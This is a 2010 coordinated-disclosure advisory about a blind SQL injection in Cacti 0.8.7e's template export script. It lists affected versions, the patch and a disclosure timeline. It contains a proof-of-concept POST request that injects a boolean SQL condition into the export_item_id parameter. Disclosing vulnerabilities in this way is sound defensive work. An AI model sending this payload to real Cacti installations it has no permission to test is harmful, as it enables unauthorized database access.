SQL Injection in Cacti

1. Advisory Information

Advisory ID: BONSAI-2010-0104
Date published: 2010-04-21
Vendors contacted: Cacti
Release mode: Coordinated release

2. Vulnerability Information

Class: Injection
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: To be Defined

3. Software Description

Cacti is a complete network graphing solution designed to harness the power of RRDTool's data storage and graphing functionality. Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box. All of this is wrapped in an intuitive, easy to use interface that makes sense for LAN-sized installations up to complex networks with hundreds of devices [0].

4. Vulnerability Description

Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

For additional information, please read [1] (A1 - Injection)

5. Vulnerable packages

Version <= 0.8.7e

6. Non-vulnerable packages

New version is not available. However, developers released a patch for the SQL Injection vulnerability and can be found at the following URL: http://www.cacti.net/downloads/patches/0.8.7e/sql_injection_template_export.patch

7. Credits

This vulnerability was discovered by Nahuel Grisolia (nahuel -at- bonsai-sec.com).

8. Technical Description

8.1. Blind SQL Injection

CVSSv2 Score: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

A Vulnerability has been discovered in Cacti, which can be exploited by any user to conduct SQL Injection attacks.
Input passed via the “export_item_id” parameter to “templates_export.php” script is not properly sanitized before being used in a SQL query.

This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following is a Proof of Concept POST request:

```
POST /cacti-0.8.7e/templates_export.php HTTP/1.1
Host: 192.168.1.107
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.107/cacti-0.8.7e/templates_export.php
Cookie: Cacti=563bb99868dfa24cc70982bf80c5c03e
Content-Type: application/x-www-form-urlencoded
Content-Length: 130

export_item_id=18 and 1=1&include_deps=on&output_format=3&export_type=graph_template&save_component_export=1&action=save&x=24&y=12
```

9. Report Timeline

- 2010-04-03 / Vulnerabilities were identified.
- 2010-04-06 / Vendor Contacted
- 2010-04-17 / Vendor released a patch for the SQL Injection
- 2010-04-21 / The advisory BONSAI-2010-0104 is published.

10. References

[0] http://www.cacti.net/

[1] http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

11. About Bonsai

Bonsai is a company involved in providing professional computer information security services. Currently a sound growth company, since its foundation in early 2009 in Buenos Aires, Argentina, we are fully committed to quality service, and focused on our customers real needs.

12. Disclaimer

13. Research

http://www.bonsai-sec.com/en/research/vulnerability.php